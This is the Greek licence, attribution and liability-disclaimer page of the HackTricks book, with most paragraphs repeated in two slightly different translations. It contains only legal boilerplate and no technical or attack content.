> Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα credits**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφερόμενη την αρχική πηγή, ενημερώστε μας και είτε θα **το αφαιρέσουμε**, είτε θα **προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε θα **το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**.
>
> ## ΑΔΕΙΑ
>
> Copyright © All rights reserved unless otherwise specified.
>
> #### Περίληψη Άδειας:
>
> - Attribution: You are free to:
> - Share — copy and redistribute the material in any medium or format.
> - Adapt — remix, transform, and build upon the material.
>
> #### Επιπλέον Όροι:
>
> - Third-Party Content: Μερικά τμήματα αυτού του blog/book ενδέχεται να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή δημοσιεύσεις. Η χρήση τέτοιου περιεχομένου γίνεται υπό τις αρχές του fair use ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις αρχικές πηγές για συγκεκριμένες πληροφορίες αδειοδότησης όσον αφορά το περιεχόμενο τρίτων.
> - Authorship: Το πρωτότυπο περιεχόμενο που έχει συγγραφεί από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδώσετε αυτό το έργο στον συγγραφέα όταν το μοιράζεστε ή το προσαρμόζετε.
>
> #### Εξαιρέσεις:
>
> - Commercial Use: Για ερωτήματα σχετικά με εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου.
>
> Αυτή η άδεια δεν παραχωρεί δικαιώματα σε σχέση με εμπορικά σήματα ή δικαιώματα branding σχετικά με το περιεχόμενο. Όλα τα εμπορικά σήματα και branding που εμφανίζονται σε αυτό το blog/book είναι ιδιοκτησία των αντίστοιχων κατόχων τους.
>
> **Με την πρόσβαση ή τη χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Αν δεν συμφωνείτε με αυτούς τους όρους, παρακαλώ, μην έχετε πρόσβαση σε αυτήν την ιστοσελίδα.**
>
> ## **ΑΠΟΠΟΙΗΣΗ ΕΥΘΥΝΩΝ**
>
Πάντα **δίνουμε στους πρωτότυπους συγγραφείς όλες τις πιστώσεις**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα το είτε **αφαιρέσουμε**, είτε **θα προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**.
## ΑΔΕΙΑ
Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν αναφέρεται διαφορετικά.
#### Περίληψη Άδειας:
- Αναφορά: Επιτρέπεται να:
- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφότυπο.
- Προσαρμόσετε — τροποποιήσετε, μετασχηματίσετε και να αναπτύξετε περαιτέρω το υλικό.
#### Πρόσθετοι Όροι:
- Περιεχόμενο Τρίτων: Μερικά μέρη αυτού του blog/βιβλίου ενδέχεται να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή εκδόσεις. Η χρήση τέτοιου περιεχομένου γίνεται σύμφωνα με τις αρχές της δίκαιης χρήσης (fair use) ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις αρχικές πηγές για συγκεκριμένες πληροφορίες άδειας σχετικά με περιεχόμενο τρίτων.
- Συγγραφικότητα: Το πρωτότυπο περιεχόμενο που δημιουργήθηκε από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδώσετε αυτό το έργο στον/στην συγγραφέα όταν το κοινοποιείτε ή το προσαρμόζετε.
#### Εξαιρέσεις:
- Εμπορική Χρήση: Για ερωτήματα σχετικά με την εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου.
Αυτή η άδεια δεν παρέχει κανένα δικαίωμα εμπορικού σήματος ή branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και το branding που εμφανίζονται σε αυτό το blog/βιβλίο ανήκουν στους αντίστοιχους ιδιοκτήτες τους.
**Με την πρόσβαση ή χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Εάν δεν συμφωνείτε με αυτούς τους όρους, παρακαλούμε, μην επισκέπτεστε αυτήν την ιστοσελίδα.**
## **Αποποίηση Ευθυνών**
> [!CAUTION]
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και πληροφοριακούς σκοπούς. Το περιεχόμενο μέσα σε αυτό το βιβλίο παρέχεται "ως έχει", και οι συγγραφείς και οι εκδότες δεν κάνουν δηλώσεις ή εγγυήσεις οποιουδήποτε είδους, ρητές ή σιωπηρές, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετείτε σε τέτοιου είδους πληροφορίες είναι αποκλειστικά και μόνο δική σας ευθύνη.
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο αυτού του βιβλίου παρέχεται "ως έχει", και οι συγγραφείς και οι εκδότες δεν κάνουν καμία δήλωση ή εγγύηση οποιουδήποτε είδους, ρητή ή σιωπηρή, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετείτε σε τέτοιες πληροφορίες γίνεται αυστηρά με δική σας ευθύνη.
>
> Οι συγγραφείς και οι εκδότες δεν θα ευθύνονται σε καμία περίπτωση για οποιαδήποτε απώλεια ή ζημία, περιλαμβανομένων ενδεικτικά και όχι περιοριστικά, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας προκύψει από απώλεια δεδομένων ή κερδών που απορρέουν από ή σε σχέση με τη χρήση αυτού του βιβλίου.
> Οι συγγραφείς και οι εκδότες δεν ευθύνονται σε καμία περίπτωση για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων, χωρίς περιορισμό, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας που προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου.
>
> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται για εκπαιδευτικούς και πληροφοριακούς σκοπούς μόνο και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες ενέργειες. Οι συγγραφείς και οι εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με αποκλειστική ευθύνη και διακριτική ευχέρεια του χρήστη.
> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς, και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες δραστηριότητες. Οι συγγραφείς και οι εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική του/της ευθύνη και κρίση.
>
> Ο χρήστης είναι ο μόνος υπεύθυνος για οποιεσδήποτε ενέργειες ληφθούν με βάση τις πληροφορίες που περιέχονται σε αυτό το βιβλίο και θα πρέπει πάντα να ζητά επαγγελματικές συμβουλές και βοήθεια όταν επιχειρεί να εφαρμόσει οποιεσδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ.
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες γίνονται βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντα να ζητάει επαγγελματικές συμβουλές και βοήθεια όταν προσπαθεί να εφαρμόσει οποιαδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ.
>
> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και τους εκδότες από οποιαδήποτε και όλες τις ευθύνες και υποχρεώσεις για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που ενδέχεται να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
>
> {{#include ../banners/hacktricks-training.md}}
> Χρησιμοποιώντας αυτό το βιβλίο, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και τους εκδότες από οποιαδήποτε και κάθε ευθύνη για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό.
{{#include ../banners/hacktricks-training.md}}